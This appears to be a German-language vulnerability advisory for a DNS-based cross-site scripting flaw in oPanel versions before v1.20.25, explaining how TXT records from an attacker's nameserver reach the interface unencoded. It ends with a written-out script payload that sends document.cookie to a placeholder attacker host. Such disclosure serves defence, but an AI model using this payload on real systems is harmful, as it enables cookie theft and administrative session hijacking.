
oPanel DNS-basiertes Cross-Site Scripting (XSS) & Session-Hijacking
Eine Cross-Site-Scripting (XSS)-Schwachstelle existiert in oPanel (Versionen vor v1.20.25) aufgrund der unsachgemäßen Handhabung und Bereinigung von DNS-Antworten. Wenn das Panel eine DNS-Abfrage durchführt (z. B. zum Abrufen von Domain-Informationen, zur Überprüfung der DNS-Propagation oder zum Abfragen von TXT-Einträgen) gegen einen vom Angreifer kontrollierten Nameserver, spiegelt es die zurückgegebenen DNS-Einträge direkt in die Weboberfläche, ohne ausreichende HTML-Kodierung durchzuführen.
Ein Angreifer kann dies ausnutzen, indem er einen bösartigen DNS-Server so konfiguriert, dass er auf TXT-Abfragen mit einer schädlichen JavaScript-Nutzlast antwortet. Wenn ein authentifizierter oPanel-Benutzer (z. B. ein Administrator) die Seite aufruft, auf der die DNS-Antwort angezeigt wird, wird die Nutzlast im Kontext seiner Browsersitzung ausgeführt.
Eine erfolgreiche Ausnutzung ermöglicht es einem Angreifer, beliebiges JavaScript im Browser des Opfers auszuführen. Wie im Proof of Concept gezeigt, kann dies ausgenutzt werden, um sensible Authentifizierungs-Cookies (document.cookie) zu stehlen, was zu vollständigem Session Hijacking und unbefugtem administrativem Zugriff auf die oPanel-Umgebung führt.
Die Ausnutzung erfordert, dass der Angreifer einen bösartigen DNS-Server und einen HTTP-Listener einrichtet, um die exfiltrierten Daten zu erfassen.
Der Angreifer führt einen bösartigen DNS-Server auf UDP-Port 53 aus, der so konfiguriert ist, dass er auf jede TXT-Abfrage mit einer XSS-Nutzlast antwortet.
Bösartiger TXT-Eintrag (Payload):
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>